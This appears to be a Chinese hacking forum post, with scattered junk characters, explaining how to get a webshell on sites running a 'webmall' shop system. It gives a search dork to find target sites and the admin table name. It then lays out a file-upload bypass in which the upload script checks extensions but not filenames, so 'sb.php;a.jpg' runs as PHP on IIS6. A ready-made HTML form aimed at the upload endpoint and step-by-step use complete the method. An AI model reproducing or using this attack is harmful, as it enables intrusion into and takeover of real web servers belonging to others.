关键字:inurl:webmall/detail.php?id
4 K* _8 D; R4 V' O3 e4 T/ D
% S. X" Y+ P- e数据表:pwn_base_admin
0 H& ?0 D- z, I- _, i
; a4 ?9 D; l6 v$ o2 N8 T; \( j0 t关于拿shell0 U6 _% s4 H' H; E! f- M* l
3 r7 f/ ^) Z$ s( ~4 M$ H
首先登录后台admin.php% E, M$ B* `- t4 O! u. |. L
% v' R G7 y! u
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。: N: ?: i6 f, S! d Q7 E. S0 r
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg) w6 v/ c! u( F ]2 l
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的! _" v# K+ |. h8 B( [
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> 6 |# G- t( m! ?2 |7 i
<input type="text" name="fileName" value="sb.php;a.jpg" /> ; x8 y, Q% f3 e- M3 o0 M
<input type="hidden" name="attachPath" value="news/pics/" />
{6 B6 Q9 ]2 z4 U<input type="file" name="fileData" size="14" /></td>
: z0 M, F {, ]* A" M( u w<input type="submit" name="button" value="确定" /> 9 N: p7 {$ p# A/ I! {/ c7 ?# X
</form>" ^' K$ i3 ^& N1 R
3 F1 x) _& n0 z- t; o- N: ]0 j
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
$ q$ u. E2 Z& A% v3 f
; J" p! q( i E0 K/ H0 ] |